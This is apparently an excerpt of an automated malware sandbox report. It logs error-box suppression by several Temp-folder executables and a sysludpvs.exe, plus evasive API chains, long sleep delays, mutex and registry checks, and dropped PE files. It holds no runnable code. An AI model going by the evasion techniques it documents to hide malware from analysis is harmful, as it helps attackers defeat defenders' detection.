Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_0040CE60	1_2_0040CE60
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_0040CE60	2_2_0040CE60
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_0040CE60	7_2_0040CE60

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\sysludpvs.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_7-4386
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_1-4386
Source: C:\Windows\sysludpvs.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_7-4386
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_1-4386

Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Memory allocated: 8F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Memory allocated: 1AFD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Memory allocated: 1360000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Memory allocated: 1BA20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Memory allocated: 1300000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Memory allocated: 1B980000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Memory allocated: 36E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Memory allocated: 1BCD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Memory allocated: B20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Memory allocated: 1B130000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Memory allocated: EE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Memory allocated: 1B560000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Memory allocated: EA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Memory allocated: 1B580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Memory allocated: E50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Memory allocated: 1B7B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Memory allocated: 1A80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Memory allocated: 1B9C0000 memory reserve \| memory write watch

Source: C:\Windows\sysludpvs.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\sysludpvs.exe	Window / User API: threadDelayed 1546			Jump to behavior
Source: C:\Windows\sysludpvs.exe	Window / User API: threadDelayed 3954			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\203235335.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2860723397.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\11[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\12[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Evaded block: after key decision	graph_1-4400
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Evaded block: after key decision	graph_1-4388
Source: C:\Windows\sysludpvs.exe	Evaded block: after key decision	graph_7-4386

Source: C:\Windows\sysludpvs.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_2-5789
Source: C:\Windows\sysludpvs.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_2-5788
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_1-5319
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_1-4407

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	API coverage: 3.9 %
Source: C:\Windows\sysludpvs.exe	API coverage: 1.0 %

Source: C:\Windows\sysludpvs.exe	Code function: 7_2_0040CE60		7_2_0040CE60
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_0040CE60		1_2_0040CE60

Source: C:\Windows\sysludpvs.exe TID: 8676	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\sysludpvs.exe TID: 8724	Thread sleep count: 198 > 30	Jump to behavior
Source: C:\Windows\sysludpvs.exe TID: 8724	Thread sleep time: -396000s >= -30000s	Jump to behavior
Source: C:\Windows\sysludpvs.exe TID: 8676	Thread sleep count: 1546 > 30	Jump to behavior
Source: C:\Windows\sysludpvs.exe TID: 8800	Thread sleep count: 138 > 30	Jump to behavior
Source: C:\Windows\sysludpvs.exe TID: 8708	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\sysludpvs.exe TID: 8724	Thread sleep count: 3954 > 30	Jump to behavior
Source: C:\Windows\sysludpvs.exe TID: 8724	Thread sleep time: -7908000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe TID: 6888	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe TID: 6652	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe TID: 8408	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\399630275.exe TID: 3976	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe TID: 1920	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\393932919.exe TID: 5536	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe TID: 4944	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\38822795.exe TID: 9080	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\396820397.exe TID: 3488	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_00406690 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00406690
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_004067D0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	1_2_004067D0
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_00406690 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00406690
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_004067D0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_004067D0
